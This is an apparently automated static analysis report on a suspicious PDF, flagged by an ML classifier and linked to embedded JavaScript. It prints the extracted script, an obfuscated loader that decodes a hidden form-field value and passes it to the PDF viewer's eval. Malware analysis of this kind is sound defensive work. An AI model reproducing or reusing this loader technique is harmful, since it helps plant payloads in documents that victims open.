PDF static analysis report

Static analysis result for SHA-256 c42c4fe83e84fc62…

SUSPICIOUS

PDF

28.6 KB Created: 2012-10-28 09:07:04 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: b5d76ffe2a8b54638e77954b3c2dc2f8 SHA-1: 68c91579ee9f7c90ecd88c5f9263a1e3ae26fc16 SHA-256: c42c4fe83e84fc6207d840a1529fa20dd57d5d9a658843f48ad9a96792fa39e0
48 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript, which is a common technique for delivering malicious payloads. The JavaScript stream, named 'javascript_obj0106_000.js', is likely responsible for downloading and executing a second-stage payload. No specific malware family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 3

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x6EE2 1256 bytes
SHA-256: c9ed80678030b6f56d2daa2b7acff159cfe87b2c293449a123102df4467f0924
Preview script
First 1,000 lines of the extracted script
var reggergre = ':';
var xcbdf4tfer = reggergre+'ABCDEFGHI';
var cxbdf4terg = 'WXYZ{}';
var xcbdewt4ger = "^";
var sarwgraew = 'ijklmnop';
var rgfreuih = 'abcd';
var cxvbd4tege = xcbdewt4ger+rgfreuih+'efgh'+sarwgraew;
var cxncgfhyry3e4ter = "z_";
var vcmnfdhrthrth= "q"+"rstuvwxy"+cxncgfhyry3e4ter;
var sdeswf = '!%'+'+-*.,;"=<>&';
var nvbnmewtgerg = '0123456789/'+sdeswf+'\\';
var ytyrty54yrh = vcmnfdhrthrth+nvbnmewtgerg;
var mcnt54hr  = xcbdf4tfer;
var gcmhnr4yesrg4g = "JKLMNOPQRSTUV"+cxbdf4terg;
var cnvcnrghrthdfg = ' '+'()[]'+cxvbd4tege+ytyrty54yrh;
var trh35tewr=mcnt54hr+gcmhnr4yesrg4g+cnvcnrghrthdfg;
function dsaewf23fwe(nmtt34t){
var ewfe23fwef = trh35tewr.indexOf(nmtt34t);
var thtr3tgre=ewfe23fwef-33;
if (thtr3tgre<0)
{var mnrtfegreg = trh35tewr.length;
thtr3tgre=thtr3tgre+mnrtfegreg;}
return trh35tewr.charAt(thtr3tgre);}
function ethet4wer(yuyr54ter){
var mghjkio9o8po6r='';
for (var i = 0;i< yuyr54ter.length-1;i++)
{mghjkio9o8po6r += dsaewf23fwe(yuyr54ter[i]);}
return mghjkio9o8po6r;}
var vcnbrth53ey=getField("WWWW");
var pyuiultjejhrty=vcnbrth53ey.value;
var lopyuyi5r6tj = ethet4wer(pyuiultjejhrty);
var aanmyjuitrhreh= 'sewerwecaaev'+'alsesfesfsef';
var masgfrj45y = aanmyjuitrhreh.substring(10,14);
app[masgfrj45y](lopyuyi5r6tj);

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